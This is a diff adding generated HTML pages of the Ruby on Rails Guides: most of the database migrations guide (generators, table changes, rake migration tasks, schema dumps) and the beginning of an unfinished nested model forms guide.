+<p>In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.</p>
+<h3 id="creating-a-migration">2 Creating a Migration</h3>
+<h4 id="creating-a-model">2.1 Creating a Model</h4>
+<p>The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate model Product name:string description:text
+</pre>
+</div>
+</notextile>
+
+<p>will create a migration that looks like this</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreateProducts &lt; ActiveRecord::Migration
+  def self.up
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can append as many column name/type pairs as you want. By default <tt>t.timestamps</tt> (which creates the <tt>updated_at</tt> and <tt>created_at</tt> columns that
+are automatically populated by Active Record) will be added for you.</p>
+<h4 id="creating-a-standalone-migration">2.2 Creating a Standalone Migration</h4>
+<p>If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate migration AddPartNumberToProducts
+</pre>
+</div>
+</notextile>
+
+<p>This will create an empty but appropriately named migration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class AddPartNumberToProducts &lt; ActiveRecord::Migration
+  def self.up
+  end
+
+  def self.down
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>If the migration name is of the form &#8220;AddXXXToYYY&#8221; or &#8220;RemoveXXXFromYYY&#8221; and is followed by a list of column names and types then a migration containing the appropriate <tt>add_column</tt> and <tt>remove_column</tt> statements will be created.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate migration AddPartNumberToProducts part_number:string
+</pre>
+</div>
+</notextile>
+
+<p>will generate</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class AddPartNumberToProducts &lt; ActiveRecord::Migration
+  def self.up
+    add_column :products, :part_number, :string
+  end
+
+  def self.down
+    remove_column :products, :part_number
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Similarly,</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate migration RemovePartNumberFromProducts part_number:string
+</pre>
+</div>
+</notextile>
+
+<p>generates</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class RemovePartNumberFromProducts &lt; ActiveRecord::Migration
+  def self.up
+    remove_column :products, :part_number
+  end
+
+  def self.down
+    add_column :products, :part_number, :string
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>You are not limited to one magically generated column, for example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate migration AddDetailsToProducts part_number:string price:decimal
+</pre>
+</div>
+</notextile>
+
+<p>generates</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class AddDetailsToProducts &lt; ActiveRecord::Migration
+  def self.up
+    add_column :products, :part_number, :string
+    add_column :products, :price, :decimal
+  end
+
+  def self.down
+    remove_column :products, :price
+    remove_column :products, :part_number
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.</p>
+<h3 id="writing-a-migration">3 Writing a Migration</h3>
+<p>Once you have created your migration using one of the generators it&#8217;s time to get to work!</p>
+<h4 id="creating-a-table">3.1 Creating a Table</h4>
+<p>Migration method <tt>create_table</tt> will be one of your workhorses. A typical use would be</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+create_table :products do |t|
+  t.string :name
+end
+</pre>
+</div>
+</notextile>
+
+<p>which creates a <tt>products</tt> table with a column called <tt>name</tt> (and as discussed below, an implicit <tt>id</tt> column).</p>
+<p>The object yielded to the block allows you to create columns on the table. There are two ways of doing this: The first (traditional) form looks like</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+create_table :products do |t|
+  t.column :name, :string, :null =&gt; false
+end
+</pre>
+</div>
+</notextile>
+
+<p>the second form, the so called &#8220;sexy&#8221; migration, drops the somewhat redundant <tt>column</tt> method. Instead, the <tt>string</tt>, <tt>integer</tt>, etc. methods create a column of that type. Subsequent parameters are the same.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+create_table :products do |t|
+  t.string :name, :null =&gt; false
+end
+</pre>
+</div>
+</notextile>
+
+<p>By default <tt>create_table</tt> will create a primary key called <tt>id</tt>. You can change the name of the primary key with the <tt>:primary_key</tt> option (don&#8217;t forget to update the corresponding model) or if you don&#8217;t want a primary key at all (for example for a <span class="caps">HABTM</span> join table) you can pass <tt>:id => false</tt>. If you need to pass database specific options you can place an <span class="caps">SQL</span> fragment in the <tt>:options</tt> option. For example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+create_table :products, :options =&gt; &quot;ENGINE=BLACKHOLE&quot; do |t|
+  t.string :name, :null =&gt; false
+end
+</pre>
+</div>
+</notextile>
+
+<p>will append <tt>ENGINE=BLACKHOLE</tt> to the <span class="caps">SQL</span> statement used to create the table (when using MySQL the default is <tt>ENGINE=InnoDB</tt>).</p>
+<p>The types supported by Active Record are <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>, <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.</p>
+<p>These will be mapped onto an appropriate underlying database type, for example with MySQL <tt>:string</tt> is mapped to <tt>VARCHAR(255)</tt>. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+create_table :products do |t|
+  t.column :name, 'polygon', :null =&gt; false
+end
+</pre>
+</div>
+</notextile>
+
+<p>This may however hinder portability to other databases.</p>
+<h4 id="changing-tables">3.2 Changing Tables</h4>
+<p>A close cousin of <tt>create_table</tt> is <tt>change_table</tt>, used for changing existing tables. It is used in a similar fashion to <tt>create_table</tt> but the object yielded to the block knows more tricks. For example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+change_table :products do |t|
+  t.remove :description, :name
+  t.string :part_number
+  t.index :part_number
+  t.rename :upccode, :upc_code
+end
+</pre>
+</div>
+</notextile>
+
+<p>removes the <tt>description</tt> and <tt>name</tt> columns, creates a <tt>part_number</tt> column and adds an index on it. Finally it renames the <tt>upccode</tt> column.   This is the same as doing</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+remove_column :products, :description
+remove_column :products, :name
+add_column :products, :part_number, :string
+add_index :products, :part_number
+rename_column :products, :upccode, :upc_code
+</pre>
+</div>
+</notextile>
+
+<p>You don&#8217;t have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example <tt>remove_column</tt> becomes just <tt>remove</tt> and <tt>add_index</tt> becomes just <tt>index</tt>.</p>
+<h4 id="special-helpers">3.3 Special Helpers</h4>
+<p>Active Record provides some shortcuts for common functionality. It is for example very common to add both the <tt>created_at</tt> and <tt>updated_at</tt> columns and so there is a method that does exactly that:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+create_table :products do |t|
+  t.timestamps
+end
+</pre>
+</div>
+</notextile>
+
+<p>will create a new products table with those two columns (plus the <tt>id</tt> column) whereas</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+change_table :products do |t|
+  t.timestamps
+end
+</pre>
+</div>
+</notextile>
+
+<p>adds those columns to an existing table.</p>
+<p>The other helper is called <tt>references</tt> (also available as <tt>belongs_to</tt>). In its simplest form it just adds some readability</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+create_table :products do |t|
+  t.references :category
+end
+</pre>
+</div>
+</notextile>
+
+<p>will create a <tt>category_id</tt> column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the <tt>_id</tt> for you. If you have polymorphic <tt>belongs_to</tt> associations then <tt>references</tt> will add both of the columns required:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+create_table :products do |t|
+  t.references :attachment, :polymorphic =&gt; {:default =&gt; 'Photo'}
+end
+</pre>
+</div>
+</notextile>
+
+<p>will add an <tt>attachment_id</tt> column and a string <tt>attachment_type</tt> column with a default value of &#8216;Photo&#8217;.</p>
+<div class='note'><p>The <tt>references</tt> helper does not actually create foreign key constraints for you. You will need to use <tt>execute</tt> for that or a plugin that adds <a href="#active-record-and-referential-integrity">foreign key support</a>.</p></div>
+<p>If the helpers provided by Active Record aren&#8217;t enough you can use the <tt>execute</tt> function to execute arbitrary <span class="caps">SQL</span>.</p>
+<p>For more details and examples of individual methods check the <span class="caps">API</span> documentation, in particular the documentation for <a href="http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html"><tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt></a> (which provides the methods available in the <tt>up</tt> and <tt>down</tt> methods),  <a href="http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html"><tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt></a> (which provides the methods available on the object yielded by <tt>create_table</tt>) and <a href="http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html"><tt>ActiveRecord::ConnectionAdapters::Table</tt></a> (which provides the methods available on the object yielded by <tt>change_table</tt>).</p>
+<h4 id="writing-your-down-method">3.4 Writing Your <tt>down</tt> Method</h4>
+<p>The <tt>down</tt> method of your migration should revert the transformations done by the <tt>up</tt> method. In other words the database schema should be unchanged if you do an <tt>up</tt> followed by a <tt>down</tt>. For example if you create a table in the <tt>up</tt> method you should drop it in the <tt>down</tt> method. It is wise to do things in precisely the reverse order to in the <tt>up</tt> method. For example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ExampleMigration &lt; ActiveRecord::Migration
+
+  def self.up
+    create_table :products do |t|
+      t.references :category
+    end
+    #add a foreign key
+    execute &lt;&lt;-SQL
+      ALTER TABLE products
+        ADD CONSTRAINT fk_products_categories
+        FOREIGN KEY (category_id)
+        REFERENCES categories(id)
+    SQL
+
+    add_column :users, :home_page_url, :string
+
+    rename_column :users, :email, :email_address
+  end
+
+  def self.down
+    rename_column :users, :email_address, :email
+    remove_column :users, :home_page_url
+    execute &quot;ALTER TABLE products DROP FOREIGN KEY fk_products_categories&quot;
+    drop_table :products
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can&#8217;t reverse the migration you can raise <tt>IrreversibleMigration</tt> from your <tt>down</tt> method. If someone tries to revert your migration an error message will be
+displayed saying that it can&#8217;t be done.</p>
+<h3 id="running-migrations">4 Running Migrations</h3>
+<p>Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be <tt>db:migrate</tt>. In its most basic form it just runs the <tt>up</tt> method for all the migrations that have not yet been run. If there are no such migrations it exits.</p>
+<p>Note that running the <tt>db:migrate</tt> also invokes the <tt>db:schema:dump</tt> task, which will update your db/schema.rb file to match the structure of your database.</p>
+<p>If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
+version is the numerical prefix on the migration&#8217;s filename. For example to migrate to version 20080906120000 run</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake db:migrate VERSION=20080906120000
+</pre>
+</div>
+</notextile>
+
+<p>If this is greater than the current version (i.e. it is migrating upwards) this will run the <tt>up</tt> method on all migrations up to and including 20080906120000, if migrating downwards this will run the <tt>down</tt> method on all the migrations down to, but not including, 20080906120000.</p>
+<h4 id="rolling-back">4.1 Rolling Back</h4>
+<p>A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake db:rollback
+</pre>
+</div>
+</notextile>
+
+<p>This will run the <tt>down</tt> method from the latest migration. If you need to undo several migrations you can provide a <tt>STEP</tt> parameter:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake db:rollback STEP=3
+</pre>
+</div>
+</notextile>
+
+<p>will run the <tt>down</tt> method from the last 3 migrations.</p>
+<p>The <tt>db:migrate:redo</tt> task is a shortcut for doing a rollback and then migrating back up again. As with the <tt>db:rollback</tt> task you can use the <tt>STEP</tt> parameter if you need to go more than one version back, for example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake db:migrate:redo STEP=3
+</pre>
+</div>
+</notextile>
+
+<p>Neither of these Rake tasks do anything you could not do with <tt>db:migrate</tt>, they are simply more convenient since you do not need to explicitly specify the version to migrate to.</p>
+<p>Lastly, the <tt>db:reset</tt> task will drop the database, recreate it and load the current schema into it.</p>
+<div class='note'><p>This is not the same as running all the migrations &#8211; see the section on <a href="#schema-dumping-and-you">schema.rb</a>.</p></div>
+<h4 id="being-specific">4.2 Being Specific</h4>
+<p>If you need to run a specific migration up or down the <tt>db:migrate:up</tt> and <tt>db:migrate:down</tt> tasks will do that. Just specify the appropriate version and the corresponding migration will have its <tt>up</tt> or <tt>down</tt> method invoked, for example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake db:migrate:up VERSION=20080906120000
+</pre>
+</div>
+</notextile>
+
+<p>will run the <tt>up</tt> method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example <tt>db:migrate:up VERSION=20080906120000</tt> will do nothing if Active Record believes that 20080906120000 has already been run.</p>
+<h4 id="being-talkative">4.3 Being Talkative</h4>
+<p>By default migrations tell you exactly what they&#8217;re doing and how long it took. A migration creating a table and adding an index might produce output like this</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+20080906170109 CreateProducts: migrating
+-- create_table(:products)
+   -&gt; 0.0021s
+-- add_index(:products, :name)
+   -&gt; 0.0026s
+20080906170109 CreateProducts: migrated (0.0059s)
+</pre>
+</div>
+</notextile>
+
+<p>Several methods are provided that allow you to control all this:</p>
+<ul>
+	<li><tt>suppress_messages</tt> suppresses any output generated by its block</li>
+	<li><tt>say</tt> outputs text (the second argument controls whether it is indented or not)</li>
+	<li><tt>say_with_time</tt> outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.</li>
+</ul>
+<p>For example, this migration</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreateProducts &lt; ActiveRecord::Migration
+  def self.up
+    suppress_messages do
+      create_table :products do |t|
+        t.string :name
+        t.text :description
+        t.timestamps
+      end
+    end
+    say &quot;Created a table&quot;
+    suppress_messages {add_index :products, :name}
+    say &quot;and an index!&quot;, true
+    say_with_time 'Waiting for a while' do
+      sleep 10
+      250
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>generates the following output</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+20080906170109 CreateProducts: migrating
+  Created a table
+   -&gt; and an index!
+  Waiting for a while
+   -&gt; 10.0001s
+   -&gt; 250 rows
+20080906170109 CreateProducts: migrated (10.0097s)
+</pre>
+</div>
+</notextile>
+
+<p>If you just want Active Record to shut up then running <tt>rake db:migrate VERBOSE=false</tt> will suppress any output.</p>
+<h3 id="using-models-in-your-migrations">5 Using Models in Your Migrations</h3>
+<p>When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.</p>
+<p>Consider for example a migration that uses the <tt>Product</tt> model to update a row in the corresponding table. Alice later updates the <tt>Product</tt> model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with <tt>rake db:migrate</tt>, including the one that used the <tt>Product</tt> model. When the migration runs the source is up to date and so the <tt>Product</tt> model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.</p>
+<p>Frequently I just want to update rows in the database without writing out the <span class="caps">SQL</span> by hand: I&#8217;m not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class AddPartNumberToProducts &lt; ActiveRecord::Migration
+  class Product &lt; ActiveRecord::Base
+  end
+
+  def self.up
+    ...
+  end
+
+  def self.down
+    ...
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The migration has its own minimal copy of the <tt>Product</tt> model and no longer cares about the <tt>Product</tt> model defined in the application.</p>
+<h4 id="dealing-with-changing-models">5.1 Dealing with Changing Models</h4>
+<p>For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try to use the old column information. You can force Active Record to re-read the column information with the <tt>reset_column_information</tt> method, for example</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class AddPartNumberToProducts &lt; ActiveRecord::Migration
+  class Product &lt; ActiveRecord::Base
+  end
+
+  def self.up
+    add_column :product, :part_number, :string
+    Product.reset_column_information
+    ...
+  end
+
+  def self.down
+    ...
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="schema-dumping-and-you">6 Schema Dumping and You</h3>
+<h4 id="what-are-schema-files-for">6.1 What are Schema Files for?</h4>
+<p>Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either <tt>db/schema.rb</tt> or an <span class="caps">SQL</span> file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.</p>
+<p>There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.</p>
+<p>For example, this is how the test database is created: the current development database is dumped (either to <tt>db/schema.rb</tt> or <tt>db/development.sql</tt>) and then loaded into the test database.</p>
+<p>Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model&#8217;s code and is frequently spread across several migrations but is all summed up in the schema file. The <a href="http://agilewebdevelopment.com/plugins/annotate_models">annotate_models</a> plugin, which automatically adds (and updates) comments at the top of each model summarizing the schema, may also be of interest.</p>
+<h4 id="types-of-schema-dumps">6.2 Types of Schema Dumps</h4>
+<p>There are two ways to dump the schema. This is set in <tt>config/application.rb</tt> by the <tt>config.active_record.schema_format</tt> setting, which may be either <tt>:sql</tt> or <tt>:ruby</tt>.</p>
+<p>If <tt>:ruby</tt> is selected then the schema is stored in <tt>db/schema.rb</tt>. If you look at this file you&#8217;ll find that it looks an awful lot like one very big migration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActiveRecord::Schema.define(:version =&gt; 20080906171750) do
+  create_table &quot;authors&quot;, :force =&gt; true do |t|
+    t.string   &quot;name&quot;
+    t.datetime &quot;created_at&quot;
+    t.datetime &quot;updated_at&quot;
+  end
+
+  create_table &quot;products&quot;, :force =&gt; true do |t|
+    t.string   &quot;name&quot;
+    t.text     &quot;description&quot;
+    t.datetime &quot;created_at&quot;
+    t.datetime &quot;updated_at&quot;
+    t.string   &quot;part_number&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using <tt>create_table</tt>, <tt>add_index</tt>, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.</p>
+<p>There is however a trade-off: <tt>db/schema.rb</tt> cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom <span class="caps">SQL</span> statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to <tt>:sql</tt>.</p>
+<p>Instead of using Active Record&#8217;s schema dumper the database&#8217;s structure will be dumped using a tool specific to that database (via the <tt>db:structure:dump</tt> Rake task) into <tt>db/#{Rails.env}_structure.sql</tt>. For example for PostgreSQL the <tt>pg_dump</tt> utility is used and for MySQL this file will contain the output of <tt>SHOW CREATE TABLE</tt> for the various tables. Loading this schema is simply a question of executing the <span class="caps">SQL</span> statements contained inside.</p>
+<p>By definition this will be a perfect copy of the database&#8217;s structure but this will usually prevent loading the schema into a database other than the one used to create it.</p>
+<h4 id="schema-dumps-and-source-control">6.3 Schema Dumps and Source Control</h4>
+<p>Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control.</p>
+<h3 id="active-record-and-referential-integrity">7 Active Record and Referential Integrity</h3>
+<p>The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used.</p>
+<p>Validations such as <tt>validates_uniqueness_of</tt> are one way in which models can enforce data integrity. The <tt>:dependent</tt> option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.</p>
+<p>Although Active Record does not provide any tools for working directly with such features, the <tt>execute</tt> method can be used to execute arbitrary <span class="caps">SQL</span>. There are also a number of plugins such as <a href="http://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/">foreign_key_migrations</a> which add foreign key support to Active Record (including support for dumping foreign keys in <tt>db/schema.rb</tt>).</p>
+<h3 id="changelog">8 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6">Lighthouse ticket</a></p>
+<ul>
+	<li>July 15, 2010: minor typos corrected by <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>September 14, 2008: initial version by <a href="credits.html#fcheung">Frederick Cheung</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/nested_model_forms.html
@@ -0,0 +1,362 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Rails nested model forms</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Rails nested model forms</h2>
+<p>Creating a form for a model <em>and</em> its associations can become quite tedious. Therefor Rails provides helpers to assist in dealing with the complexities of generating these forms <em>and</em> the required <span class="caps">CRUD</span> operations to create, update, and destroy associations.</p>
+<p>In this guide you will:</p>
+<ul>
+	<li>do stuff</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#model-setup">Model setup</a><ul><li><a href="#activerecord-base-model">ActiveRecord::Base model</a></li> <li><a href="#custom-model">Custom model</a></li></ul></li><li><a href="#views">Views</a><ul><li><a href="#controller-code">Controller code</a></li> <li><a href="#form-code">Form code</a></li></ul></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <div class='note'><p>This guide assumes the user knows how to use the <a href="form_helpers.html">Rails form helpers</a> in general. Also, itโ€™s <strong>not</strong> an <span class="caps">API</span> reference. For a complete reference please visit <a href="http://api.rubyonrails.org/">the Rails <span class="caps">API</span> documentation</a>.</p></div>
+<h3 id="model-setup">1 Model setup</h3>
+<p>To be able to use the nested model functionality in your forms, the model will need to support some basic operations.</p>
+<p>First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The <tt>fields_for</tt> form helper will look for this method to decide whether or not a nested model form should be build.</p>
+<p>If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.</p>
+<p>Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the <tt>:address</tt> attribute, the <tt>fields_for</tt> form helper will look for a method on the Person instance named <tt>address_attributes=</tt>.</p>
+<h4 id="activerecord-base-model">1.1 ActiveRecord::Base model</h4>
